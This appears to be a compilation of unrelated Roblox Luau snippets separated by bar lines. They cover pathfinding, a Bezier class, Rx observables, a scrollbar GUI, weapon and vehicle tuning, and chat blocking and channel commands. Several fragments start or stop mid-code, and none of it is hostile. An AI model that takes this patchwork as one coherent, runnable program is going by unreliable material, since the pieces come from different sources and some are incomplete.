elseif CollectionService:HasTag(newChild, "Melee") then
SetupGUIForHeldMelee(newChild)
weapon3Label.BackgroundColor3 = onColor
weapon3Label.Text = newChild.Name
end
end)
|
--
|
require(playerModule)
script:WaitForChild("Loaded").Value = true
|
--[=[
@class TableUtil
A collection of helpful table utility functions. Many of these functions are carried over from JavaScript or
Python that are not present in Lua.
Tables that only work specifically with arrays or dictionaries are marked as such in the documentation.
:::info Immutability
All functions (_except_ `SwapRemove`, `SwapRemoveFirstValue`, and `Lock`) treat tables as immutable and will return
copies of the given table(s) with the operations performed on the copies.
]=]
|
local TableUtil = {}
local HttpService = game:GetService("HttpService")
local rng = Random.new()
|
-- Variables to store waypoints table and zombie's current waypoint
|
local waypoints
local currentWaypointIndex
local function followPath(destinationObject)
-- Compute and check the path
path:ComputeAsync(zombie.Position, destinationObject)
-- Empty waypoints table after each new path computation
waypoints = {}
if path.Status == Enum.PathStatus.Success then
-- Get the path waypoints and start zombie walking
waypoints = path:GetWaypoints()
-- Move to first waypoint
currentWaypointIndex = 1
human:MoveTo(waypoints[currentWaypointIndex].Position)
else
-- Error (path not found); stop humanoid
human:MoveTo(zombie.Position)
end
end
local function onWaypointReached(reached)
if reached and waypoints ~= nil and currentWaypointIndex ~= nil and currentWaypointIndex < #waypoints then
currentWaypointIndex = currentWaypointIndex + 1
human:MoveTo(waypoints[currentWaypointIndex].Position)
end
end
local function onPathBlocked(blockedWaypointIndex)
-- Check if the obstacle is further down the path
if blockedWaypointIndex > currentWaypointIndex then
-- Call function to re-compute the path
followPath(destination)
end
end
|
--Digits
|
local Digit1 = script.Parent.Digit1Part.SurfaceGui.TextLabel
local Digit2 = script.Parent.Digit2Part.SurfaceGui.TextLabel
local Digit3 = script.Parent.Digit3Part.SurfaceGui.TextLabel
local Code = script.Parent.Code
local EnteredCode = script.Parent.EnteredCode
local Ready = script.Parent.Ready
Digit1.Text = math.random(0,9)
Digit2.Text = math.random(0,9)
Digit3.Text = math.random(0,9)
Code.Value = tostring(Digit1.Text)..""..tostring(Digit2.Text)..""..tostring(Digit3.Text)
Ready = true
|
-- the constructor
-- creates a new Bezier object with the given points added in order
|
function Bezier.new(...: Vector3 | BasePart)
local self = setmetatable({}, Bezier)
local args = {...}
-- holds the points
self.Points = {}
-- length information
self.LengthIterations = 1000
self.LengthIndeces = {}
self.Length = 0
-- holds the connections from baseparts
self._connections = {}
-- iterate through given arguments
for _, p in pairs(args) do
if typeof(p) == "Vector3" or (typeof(p) == "Instance" and p:IsA("BasePart")) then
self:AddBezierPoint(p)
else
error("The Bezier.new() constructor only takes in Vector3s and BaseParts as inputs!")
end
end
-- returns the bezier object
return self
end
|
--[=[
Merges higher order observables together
https://rxjs.dev/api/operators/switchAll
Works like mergeAll, where you subscribe to an observable which is
emitting observables. However, when another observable is emitted it
disconnects from the other observable and subscribes to that one.
@return (source: Observable<Observable<T>>) -> Observable<T>
]=]
|
function Rx.switchAll()
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
local outerMaid = Maid.new()
local topComplete = false
local insideComplete = false
local currentInside = nil
outerMaid:GiveTask(function()
-- Ensure inner subscription is disconnected first. This prevents
-- the inner sub from firing while the outer is subscribed,
-- throwing a warning.
outerMaid._innerSub = nil
outerMaid._outerSuber = nil
end)
outerMaid._outerSuber = source:Subscribe(
function(observable)
assert(Observable.isObservable(observable), "Bad observable")
insideComplete = false
currentInside = observable
outerMaid._innerSub = nil
outerMaid._innerSub = observable:Subscribe(
function(...)
sub:Fire(...)
end, -- Merge each inner observable
function(...)
if currentInside == observable then
sub:Fail(...)
end
end, -- Emit failure automatically
function()
if currentInside == observable then
insideComplete = true
if insideComplete and topComplete then
sub:Complete()
outerMaid:DoCleaning() -- Paranoid ensure cleanup.
end
end
end)
end,
function(...)
sub:Fail(...) -- Also reflect failures up to the top!
outerMaid:DoCleaning()
end,
function()
topComplete = true
if insideComplete and topComplete then
sub:Complete()
outerMaid:DoCleaning() -- Paranoid ensure cleanup
end
end)
return outerMaid
end)
end
end
|
-- ROBLOX deviation END
|
exports.pluralize = require(script.pluralize).default
exports.formatTime = require(script.formatTime).default
|
-- Extra stuff
|
FastCast.HighFidelityBehavior = {
Default = 1,
Always = 3
}
|
-- Prevent the value and checked attributes from syncing
-- with their related DOM properties
|
exports.disableInputAttributeSyncing = true
exports.warnAboutStringRefs = false
exports.disableLegacyContext = false
|
-- Initialize Events
|
function Input:_listenForEvents ()
local e1 = UserInputService.InputBegan:connect (function (input, gameProcessed)
-- if (gameProcessed) then return end
self:_checkDown (input, true);
end)
local e2 = UserInputService.InputEnded:connect (function (input, gameProcessed)
-- if (gameProcessed) then return end
self:_checkDown (input, false);
end)
local e3 = UserInputService.InputChanged:connect (function (input, gameProcessed)
-- if (gameProcessed) then return end
self:_checkMouseMoved (input);
end);
local e4 = UserInputService.TouchMoved:connect (function (input, gameProcessed)
-- if (gameProcessed) then return end
self:_checkMouseMoved (input, true);
end)
self._events = {e1, e2, e3};
end
|
-- Set to 0 for no turbochargers
|
Tune.T_Boost = 13
Tune.T_Efficiency = 9
Tune.T_Size = 80 -- Turbo Size; Bigger size = more turbo lag
|
--[=[
Stops the timer. Will do nothing if the timer is already stopped.
```lua
timer:Stop()
```
]=]
|
function Timer:Stop()
if not self._runHandle then return end
self._runHandle:Disconnect()
self._runHandle = nil
end
|
-- AutoButtonColor doesn't always reset properly
|
function ResetButtonColor(button)
local active = button.Active
button.Active = not active
button.Active = active
end
function ArrowGraphic(size,dir,scaled,template)
local Frame = Create('Frame',{
Name = "Arrow Graphic";
BorderSizePixel = 0;
Size = UDim2.new(0,size,0,size);
Transparency = 1;
})
if not template then
template = Instance.new("Frame")
template.BorderSizePixel = 0
end
local transform
if dir == nil or dir == 'Up' then
function transform(p,s) return p,s end
elseif dir == 'Down' then
function transform(p,s) return UDim2.new(0,p.X.Offset,0,size-p.Y.Offset-1),s end
elseif dir == 'Left' then
function transform(p,s) return UDim2.new(0,p.Y.Offset,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
elseif dir == 'Right' then
function transform(p,s) return UDim2.new(0,size-p.Y.Offset-1,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
end
local scale
if scaled then
function scale(p,s) return UDim2.new(p.X.Offset/size,0,p.Y.Offset/size,0),UDim2.new(s.X.Offset/size,0,s.Y.Offset/size,0) end
else
function scale(p,s) return p,s end
end
local o = math.floor(size/4)
if size%2 == 0 then
local n = size/2-1
for i = 0,n do
local t = template:Clone()
local p,s = scale(transform(
UDim2.new(0,n-i,0,o+i),
UDim2.new(0,(i+1)*2,0,1)
))
t.Position = p
t.Size = s
t.Parent = Frame
end
else
local n = (size-1)/2
for i = 0,n do
local t = template:Clone()
local p,s = scale(transform(
UDim2.new(0,n-i,0,o+i),
UDim2.new(0,i*2+1,0,1)
))
t.Position = p
t.Size = s
t.Parent = Frame
end
end
if size%4 > 1 then
local t = template:Clone()
local p,s = scale(transform(
UDim2.new(0,0,0,size-o-1),
UDim2.new(0,size,0,1)
))
t.Position = p
t.Size = s
t.Parent = Frame
end
return Frame
end
function GripGraphic(size,dir,spacing,scaled,template)
local Frame = Create('Frame',{
Name = "Grip Graphic";
BorderSizePixel = 0;
Size = UDim2.new(0,size.x,0,size.y);
Transparency = 1;
})
if not template then
template = Instance.new("Frame")
template.BorderSizePixel = 0
end
spacing = spacing or 2
local scale
if scaled then
function scale(p) return UDim2.new(p.X.Offset/size.x,0,p.Y.Offset/size.y,0) end
else
function scale(p) return p end
end
if dir == 'Vertical' then
for i=0,size.x-1,spacing do
local t = template:Clone()
t.Size = scale(UDim2.new(0,1,0,size.y))
t.Position = scale(UDim2.new(0,i,0,0))
t.Parent = Frame
end
elseif dir == nil or dir == 'Horizontal' then
for i=0,size.y-1,spacing do
local t = template:Clone()
t.Size = scale(UDim2.new(0,size.x,0,1))
t.Position = scale(UDim2.new(0,0,0,i))
t.Parent = Frame
end
end
return Frame
end
do
local mt = {
__index = {
GetScrollPercent = function(self)
return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace)
end;
CanScrollDown = function(self)
return self.ScrollIndex + self.VisibleSpace < self.TotalSpace
end;
CanScrollUp = function(self)
return self.ScrollIndex > 0
end;
ScrollDown = function(self)
self.ScrollIndex = self.ScrollIndex + self.PageIncrement
self:Update()
end;
ScrollUp = function(self)
self.ScrollIndex = self.ScrollIndex - self.PageIncrement
self:Update()
end;
ScrollTo = function(self,index)
self.ScrollIndex = index
self:Update()
end;
SetScrollPercent = function(self,percent)
self.ScrollIndex = math.floor((self.TotalSpace - self.VisibleSpace)*percent + 0.5)
self:Update()
end;
};
}
mt.__index.CanScrollRight = mt.__index.CanScrollDown
mt.__index.CanScrollLeft = mt.__index.CanScrollUp
mt.__index.ScrollLeft = mt.__index.ScrollUp
mt.__index.ScrollRight = mt.__index.ScrollDown
function ScrollBar(horizontal)
-- create row scroll bar
local ScrollFrame = Create('Frame',{
Name = "ScrollFrame";
Position = horizontal and UDim2.new(0,0,1,-ScrollBarWidth) or UDim2.new(1,-ScrollBarWidth,0,0);
Size = horizontal and UDim2.new(1,0,0,ScrollBarWidth) or UDim2.new(0,ScrollBarWidth,1,0);
BackgroundTransparency = 1;
Create('ImageButton',{
Name = "ScrollDown";
Position = horizontal and UDim2.new(1,-ScrollBarWidth,0,0) or UDim2.new(0,0,1,-ScrollBarWidth);
Size = UDim2.new(0, ScrollBarWidth, 0, ScrollBarWidth);
BackgroundColor3 = ScrollStyles.Button;
BorderColor3 = ScrollStyles.Border;
--BorderSizePixel = 0;
});
Create('ImageButton',{
Name = "ScrollUp";
Size = UDim2.new(0, ScrollBarWidth, 0, ScrollBarWidth);
BackgroundColor3 = ScrollStyles.Button;
BorderColor3 = ScrollStyles.Border;
--BorderSizePixel = 0;
});
Create('ImageButton',{
Name = "ScrollBar";
Size = horizontal and UDim2.new(1,-ScrollBarWidth*2,1,0) or UDim2.new(1,0,1,-ScrollBarWidth*2);
Position = horizontal and UDim2.new(0,ScrollBarWidth,0,0) or UDim2.new(0,0,0,ScrollBarWidth);
AutoButtonColor = false;
BackgroundColor3 = Color3.new(0.94902, 0.94902, 0.94902);
BorderColor3 = ScrollStyles.Border;
--BorderSizePixel = 0;
Create('ImageButton',{
Name = "ScrollThumb";
AutoButtonColor = false;
Size = UDim2.new(0, ScrollBarWidth, 0, ScrollBarWidth);
BackgroundColor3 = ScrollStyles.Button;
BorderColor3 = ScrollStyles.Border;
--BorderSizePixel = 0;
});
});
})
local graphicTemplate = Create('Frame',{
Name="Graphic";
BorderSizePixel = 0;
BackgroundColor3 = ScrollStyles.Border;
})
local graphicSize = ScrollBarWidth/2
local ScrollDownFrame = ScrollFrame.ScrollDown
local ScrollDownGraphic = ArrowGraphic(graphicSize,horizontal and 'Right' or 'Down',true,graphicTemplate)
ScrollDownGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2)
ScrollDownGraphic.Parent = ScrollDownFrame
local ScrollUpFrame = ScrollFrame.ScrollUp
local ScrollUpGraphic = ArrowGraphic(graphicSize,horizontal and 'Left' or 'Up',true,graphicTemplate)
ScrollUpGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2)
ScrollUpGraphic.Parent = ScrollUpFrame
local ScrollBarFrame = ScrollFrame.ScrollBar
local ScrollThumbFrame = ScrollBarFrame.ScrollThumb
do
local size = ScrollBarWidth*3/8
local Decal = GripGraphic(Vector2.new(size,size),horizontal and 'Vertical' or 'Horizontal',2,graphicTemplate)
Decal.Position = UDim2.new(0.5,-size/2,0.5,-size/2)
Decal.Parent = ScrollThumbFrame
end
local MouseDrag = Create('ImageButton',{
Name = "MouseDrag";
Position = UDim2.new(-0.25,0,-0.25,0);
Size = UDim2.new(1.5,0,1.5,0);
Transparency = 1;
AutoButtonColor = false;
Active = true;
ZIndex = 10;
})
local Class = setmetatable({
GUI = ScrollFrame;
ScrollIndex = 0;
VisibleSpace = 0;
TotalSpace = 0;
PageIncrement = 1;
},mt)
local UpdateScrollThumb
if horizontal then
function UpdateScrollThumb()
ScrollThumbFrame.Size = UDim2.new(Class.VisibleSpace/Class.TotalSpace,0,0,ScrollBarWidth)
if ScrollThumbFrame.AbsoluteSize.x < ScrollBarWidth then
ScrollThumbFrame.Size = UDim2.new(0,ScrollBarWidth,0,ScrollBarWidth)
end
local barSize = ScrollBarFrame.AbsoluteSize.x
ScrollThumbFrame.Position = UDim2.new(Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.x)/barSize,0,0,0)
end
else
function UpdateScrollThumb()
ScrollThumbFrame.Size = UDim2.new(0,ScrollBarWidth,Class.VisibleSpace/Class.TotalSpace,0)
if ScrollThumbFrame.AbsoluteSize.y < ScrollBarWidth then
ScrollThumbFrame.Size = UDim2.new(0,ScrollBarWidth,0,ScrollBarWidth)
end
local barSize = ScrollBarFrame.AbsoluteSize.y
ScrollThumbFrame.Position = UDim2.new(0,0,Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.y)/barSize,0)
end
end
local lastDown
local lastUp
local scrollStyle = {BackgroundColor3=ScrollStyles.Border,BackgroundTransparency=0}
local scrollStyle_ds = {BackgroundColor3=ScrollStyles.Border,BackgroundTransparency=0.7}
local function Update()
local t = Class.TotalSpace
local v = Class.VisibleSpace
local s = Class.ScrollIndex
if v <= t then
if s > 0 then
if s + v > t then
Class.ScrollIndex = t - v
end
else
Class.ScrollIndex = 0
end
else
Class.ScrollIndex = 0
end
if Class.UpdateCallback then
if Class.UpdateCallback(Class) == false then
return
end
end
local down = Class:CanScrollDown()
local up = Class:CanScrollUp()
if down ~= lastDown then
lastDown = down
ScrollDownFrame.Active = down
ScrollDownFrame.AutoButtonColor = down
local children = ScrollDownGraphic:GetChildren()
local style = down and scrollStyle or scrollStyle_ds
for i = 1,#children do
Create(children[i],style)
end
end
if up ~= lastUp then
lastUp = up
ScrollUpFrame.Active = up
ScrollUpFrame.AutoButtonColor = up
local children = ScrollUpGraphic:GetChildren()
local style = up and scrollStyle or scrollStyle_ds
for i = 1,#children do
Create(children[i],style)
end
end
ScrollThumbFrame.Visible = down or up
UpdateScrollThumb()
end
Class.Update = Update
SetZIndexOnChanged(ScrollFrame)
local scrollEventID = 0
ScrollDownFrame.MouseButton1Down:connect(function()
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = MouseDrag.MouseButton1Up:connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollDownFrame)
up_con:disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
Class:ScrollDown()
wait(0.2) -- delay before auto scroll
while scrollEventID == current do
Class:ScrollDown()
if not Class:CanScrollDown() then break end
wait()
end
end)
ScrollDownFrame.MouseButton1Up:connect(function()
scrollEventID = tick()
end)
ScrollUpFrame.MouseButton1Down:connect(function()
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = MouseDrag.MouseButton1Up:connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollUpFrame)
up_con:disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
Class:ScrollUp()
wait(0.2)
while scrollEventID == current do
Class:ScrollUp()
if not Class:CanScrollUp() then break end
wait()
end
end)
ScrollUpFrame.MouseButton1Up:connect(function()
scrollEventID = tick()
end)
if horizontal then
ScrollBarFrame.MouseButton1Down:connect(function(x,y)
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = MouseDrag.MouseButton1Up:connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollUpFrame)
up_con:disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
if x > ScrollThumbFrame.AbsolutePosition.x then
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait(0.2)
while scrollEventID == current do
if x < ScrollThumbFrame.AbsolutePosition.x + ScrollThumbFrame.AbsoluteSize.x then break end
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait()
end
else
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait(0.2)
while scrollEventID == current do
if x > ScrollThumbFrame.AbsolutePosition.x then break end
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait()
end
end
end)
else
ScrollBarFrame.MouseButton1Down:connect(function(x,y)
scrollEventID = tick()
local current = scrollEventID
local up_con
up_con = MouseDrag.MouseButton1Up:connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollUpFrame)
up_con:disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
if y > ScrollThumbFrame.AbsolutePosition.y then
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait(0.2)
while scrollEventID == current do
if y < ScrollThumbFrame.AbsolutePosition.y + ScrollThumbFrame.AbsoluteSize.y then break end
Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
wait()
end
else
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait(0.2)
while scrollEventID == current do
if y > ScrollThumbFrame.AbsolutePosition.y then break end
Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
wait()
end
end
end)
end
if horizontal then
ScrollThumbFrame.MouseButton1Down:connect(function(x,y)
scrollEventID = tick()
local mouse_offset = x - ScrollThumbFrame.AbsolutePosition.x
local drag_con
local up_con
drag_con = MouseDrag.MouseMoved:connect(function(x,y)
local bar_abs_pos = ScrollBarFrame.AbsolutePosition.x
local bar_drag = ScrollBarFrame.AbsoluteSize.x - ScrollThumbFrame.AbsoluteSize.x
local bar_abs_one = bar_abs_pos + bar_drag
x = x - mouse_offset
x = x < bar_abs_pos and bar_abs_pos or x > bar_abs_one and bar_abs_one or x
x = x - bar_abs_pos
Class:SetScrollPercent(x/(bar_drag))
end)
up_con = MouseDrag.MouseButton1Up:connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollThumbFrame)
drag_con:disconnect(); drag_con = nil
up_con:disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
end)
else
ScrollThumbFrame.MouseButton1Down:connect(function(x,y)
scrollEventID = tick()
local mouse_offset = y - ScrollThumbFrame.AbsolutePosition.y
local drag_con
local up_con
drag_con = MouseDrag.MouseMoved:connect(function(x,y)
local bar_abs_pos = ScrollBarFrame.AbsolutePosition.y
local bar_drag = ScrollBarFrame.AbsoluteSize.y - ScrollThumbFrame.AbsoluteSize.y
local bar_abs_one = bar_abs_pos + bar_drag
y = y - mouse_offset
y = y < bar_abs_pos and bar_abs_pos or y > bar_abs_one and bar_abs_one or y
y = y - bar_abs_pos
Class:SetScrollPercent(y/(bar_drag))
end)
up_con = MouseDrag.MouseButton1Up:connect(function()
scrollEventID = tick()
MouseDrag.Parent = nil
ResetButtonColor(ScrollThumbFrame)
drag_con:disconnect(); drag_con = nil
up_con:disconnect(); drag = nil
end)
MouseDrag.Parent = GetScreen(ScrollFrame)
end)
end
function Class:Destroy()
ScrollFrame:Destroy()
MouseDrag:Destroy()
for k in pairs(Class) do
Class[k] = nil
end
setmetatable(Class,nil)
end
Update()
return Class
end
end
|
--[=[
Constructs a new value object
@param observable Observable<T>
@return ValueObject<T>
]=]
|
function ValueObject.fromObservable(observable)
local result = ValueObject.new()
result._maid:GiveTask(observable:Subscribe(function(value)
result.Value = value
end))
return result
end
|
-- Math functions/constants caching
|
local random = math.random
local floor = math.floor
local acos = math.acos
local rad = math.rad
local min = math.min
local max = math.max
local abs = math.abs
local twopi = math.pi * 2.0
local dot = zeroVector.Dot
local cross = zeroVector.Cross
local autoThrottleRatio = 0.5 -- Current auto-throttling rate
local throttleDistanceModifier = 60 -- Studs distance from camera at which distance-throttling will start
local segmentPerArc = 12 -- Current number of segments per arc (lower number = better performance)
|
--// Walk and Sway
|
local L_94_
local L_95_ = 0.6
local L_96_ = 0.05 -- speed
local L_97_ = -0.1 -- height
local L_98_ = 0
local L_99_ = 0
local L_100_ = 35 --This is the limit of the mouse input for the sway
local L_101_ = -9 --This is the magnitude of the sway when you're unaimed
local L_102_ = -9 --This is the magnitude of the sway when you're aimed
|
-- Remove any -0 values from the Vector3 for consistent string conversion
|
function BitOps.normalizeVec3(vec3)
local newVec3X = vec3.X
local newVec3Y = vec3.Y
local newVec3Z = vec3.Z
if newVec3X == 0 then
newVec3X = 0
end
if newVec3Y == 0 then
newVec3Y = 0
end
if newVec3Z == 0 then
newVec3Z = 0
end
return Vector3.new(newVec3X, newVec3Y, newVec3Z)
end
|
--[[
local part = script.Parent
local Activator = game.ReplicatedStorage.GameFiles.Values.PopUpActive
local frame = script.Parent.Parent
local posOff = UDim2.new(0, 0, 0, 0)
local posOn = UDim2.new(0.786, 0, 0, 0)
local lighting = game.Lighting
local g = game.Workspace.AssetClean
part:TweenPosition(posOn, "In", "Sine", 0.3) -- The button is online
part.BackgroundColor3 = Color3.fromRGB(0, 255, 0)
frame.BackgroundColor3 = Color3.fromRGB(0, 177, 0)
part.MouseButton1Click:Connect(function()
if Activator.Value == true then
Activator.Value = false
part:TweenPosition(posOff, "Out", "Sine", 0.3)
part.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
frame.BackgroundColor3 = Color3.fromRGB(177, 0, 0)
elseif Activator.Value == false then
Activator.Value = true
part.BackgroundColor3 = Color3.fromRGB(0, 255, 0)
frame.BackgroundColor3 = Color3.fromRGB(0, 177, 0)
part:TweenPosition(posOn, "In", "Sine", 0.3)
end
end)
while wait() do
if Activator.Value == true then
part:TweenPosition(posOn, "In", "Sine", 0.3)
part.BackgroundColor3 = Color3.fromRGB(0, 255, 0)
frame.BackgroundColor3 = Color3.fromRGB(0, 177, 0)
elseif Activator.Value == false then
part.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
frame.BackgroundColor3 = Color3.fromRGB(177, 0, 0)
part:TweenPosition(posOff, "Out", "Sine", 0.3)
end
end
--]]
| |
--If necessary change the last word to:
|
--PedSignal1
--PedSignal1a
--PedSignal2
--PedSignal2a
|
-------- OMG HAX
|
debris = game:GetService("Debris")
r = game:service("RunService")
Tool = script.Parent
|
-- Dissociates an adornee from a merch item button
|
local function removeProximityButton(adornee: BasePart | Attachment)
return {
adornee = adornee,
}
end
return Rodux.makeActionCreator(script.Name, removeProximityButton)
|
--- Save
|
game.Players.PlayerRemoving:connect(function(Plr)
Plr.CharacterRemoving:connect(function(Char)
SpawnPoint1:SetAsync(Plr.UserId, Plr.Data.SpawnPoint.Value)
end)
end)
|
--[=[
@param streamables {Streamable}
@param handler ({[child: string]: Instance}, trove: Trove) -> nil
@return Trove
Creates a compound streamable around all the given streamables. The compound
streamable's observer handler will be fired once _all_ the given streamables
are in existence, and will be cleaned up when _any_ of the streamables
disappear.
```lua
local s1 = Streamable.new(workspace, "Part1")
local s2 = Streamable.new(workspace, "Part2")
local compoundTrove = StreamableUtil.Compound({S1 = s1, S2 = s2}, function(streamables, trove)
local part1 = streamables.S1.Instance
local part2 = streamables.S2.Instance
trove:Add(function()
print("Cleanup")
end)
end)
```
]=]
|
function StreamableUtil.Compound(streamables: Streamables, handler: CompoundHandler)
local compoundTrove = Trove.new()
local observeAllTrove = Trove.new()
local allAvailable = false
local function Check()
if allAvailable then return end
for _,streamable in pairs(streamables) do
if not streamable.Instance then
return
end
end
allAvailable = true
handler(streamables, observeAllTrove)
end
local function Cleanup()
if not allAvailable then return end
allAvailable = false
observeAllTrove:Clean()
end
for _,streamable in pairs(streamables) do
compoundTrove:Add(streamable:Observe(function(_child, trove)
Check()
trove:Add(Cleanup)
end))
end
compoundTrove:Add(Cleanup)
return compoundTrove
end
return StreamableUtil
|
--// Ammo Settings
|
Ammo = 10;
StoredAmmo = 1;
MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
ExplosiveAmmo = 1;
|
--[[
PlayerModule - This module requires and instantiates the camera and control modules,
and provides getters for developers to access methods on these singletons without
having to modify Roblox-supplied scripts.
2018 PlayerScripts Update - AllYourBlox
--]]
|
local PlayerModule = {}
PlayerModule.__index = PlayerModule
function PlayerModule.new()
local self = setmetatable({},PlayerModule)
self.cameras = require(script:WaitForChild("CameraModule"))
self.controls = require(script:WaitForChild("ControlModule"))
return self
end
function PlayerModule:GetCameras()
return self.cameras
end
function PlayerModule:GetControls()
return self.controls
end
function PlayerModule:GetClickToMoveController()
return self.controls:GetClickToMoveController()
end
return PlayerModule.new()
|
-- Map storing Player -> Blocked user Ids.
|
local BlockedUserIdsMap = {}
local Filter = tostring
PlayersService.PlayerAdded:connect(function(newPlayer)
for player, blockedUsers in pairs(BlockedUserIdsMap) do
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, #blockedUsers do
local blockedUserId = blockedUsers[i]
if blockedUserId == newPlayer.UserId then
speaker:AddMutedSpeaker(newPlayer.Name)
end
end
end
end
end)
PlayersService.PlayerRemoving:connect(function(removingPlayer)
BlockedUserIdsMap[removingPlayer] = nil
end)
if FFlagUserChatAddServerSideChecks2 then
EventFolder.SetBlockedUserIdsRequest.OnServerEvent:Connect(function(player, blockedUserIdsList)
if type(blockedUserIdsList) ~= "table" then
return
end
local prunedBlockedUserIdsList = {}
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, math.min(#blockedUserIdsList, MAX_BLOCKED_SPEAKERS_PER_REQ) do
if type(blockedUserIdsList[i]) == "number" then
table.insert(prunedBlockedUserIdsList, blockedUserIdsList[i])
local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i])
if blockedPlayer then
speaker:AddMutedSpeaker(blockedPlayer.Name)
end
end
end
-- We only want to store the first
-- MAX_BLOCKED_SPEAKERS_PER_REQ number of ids as needed
BlockedUserIdsMap[player] = prunedBlockedUserIdsList
end
end)
elseif FFlagUserChatAddServerSideChecks then
EventFolder.SetBlockedUserIdsRequest.OnServerEvent:Connect(function(player, blockedUserIdsList)
if type(blockedUserIdsList) ~= "table" then
return
end
BlockedUserIdsMap[player] = blockedUserIdsList
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, math.min(#blockedUserIdsList, MAX_BLOCKED_SPEAKERS_PER_REQ) do
if type(blockedUserIdsList[i]) == "number" then
local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i])
if blockedPlayer then
speaker:AddMutedSpeaker(blockedPlayer.Name)
end
end
end
end
end)
else
EventFolder.SetBlockedUserIdsRequest.OnServerEvent:Connect(function(player, blockedUserIdsList)
if type(blockedUserIdsList) ~= "table" then
return
end
BlockedUserIdsMap[player] = blockedUserIdsList
local speaker = ChatService:GetSpeaker(player.Name)
if speaker then
for i = 1, #blockedUserIdsList do
if type(blockedUserIdsList[i]) == "number" then
local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i])
if blockedPlayer then
speaker:AddMutedSpeaker(blockedPlayer.Name)
end
end
end
end
end)
end
EventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj)
local speaker = ChatService:GetSpeaker(playerObj.Name)
if not (speaker and speaker:GetPlayer()) then
CreatePlayerSpeakerObject(playerObj)
speaker = ChatService:GetSpeaker(playerObj.Name)
end
local data = {}
data.Channels = {}
data.SpeakerExtraData = {}
for _, channelName in pairs(speaker:GetChannelList()) do
local channelObj = ChatService:GetChannel(channelName)
if (channelObj) then
local channelData =
{
channelName,
channelObj:GetWelcomeMessageForSpeaker(speaker),
channelObj:GetHistoryLogForSpeaker(speaker),
channelObj.ChannelNameColor,
}
table.insert(data.Channels, channelData)
end
end
for _, oSpeakerName in pairs(ChatService:GetSpeakerList()) do
local oSpeaker = ChatService:GetSpeaker(oSpeakerName)
data.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData
end
return data
end)
local function DoJoinCommand(speakerName, channelName, fromChannelName)
local speaker = ChatService:GetSpeaker(speakerName)
local channel = ChatService:GetChannel(channelName)
if (speaker) then
if (channel) then
if (channel.Joinable) then
if (not speaker:IsInChannel(channel.Name)) then
speaker:JoinChannel(channel.Name)
else
speaker:SetMainChannel(channel.Name)
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_SwitchChannel_NowInChannel",
string.format("You are now chatting in channel: '%s'", channel.Name),
"RBX_NAME",
channel.Name)
speaker:SendSystemMessage(msg, channel.Name)
end
else
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_ChatServiceRunner_YouCannotJoinChannel",
"You cannot join channel '" .. channelName .. "'.",
"RBX_NAME",
channelName)
speaker:SendSystemMessage(msg, fromChannelName)
end
else
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_ChatServiceRunner_ChannelDoesNotExist",
"Channel '" .. channelName .. "' does not exist.",
"RBX_NAME",
channelName)
speaker:SendSystemMessage(msg, fromChannelName)
end
end
end
local function DoLeaveCommand(speakerName, channelName, fromChannelName)
local speaker = ChatService:GetSpeaker(speakerName)
local channel = ChatService:GetChannel(channelName)
if (speaker) then
if (speaker:IsInChannel(channelName)) then
if (channel.Leavable) then
speaker:LeaveChannel(channel.Name)
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_ChatService_YouHaveLeftChannel",
string.format("You have left channel '%s'", channelName),
"RBX_NAME",
channel.Name)
speaker:SendSystemMessage(msg, "System")
else
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_ChatServiceRunner_YouCannotLeaveChannel",
("You cannot leave channel '" .. channelName .. "'."),
"RBX_NAME",
channelName)
speaker:SendSystemMessage(msg, fromChannelName)
end
else
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_ChatServiceRunner_YouAreNotInChannel",
("You are not in channel '" .. channelName .. "'."),
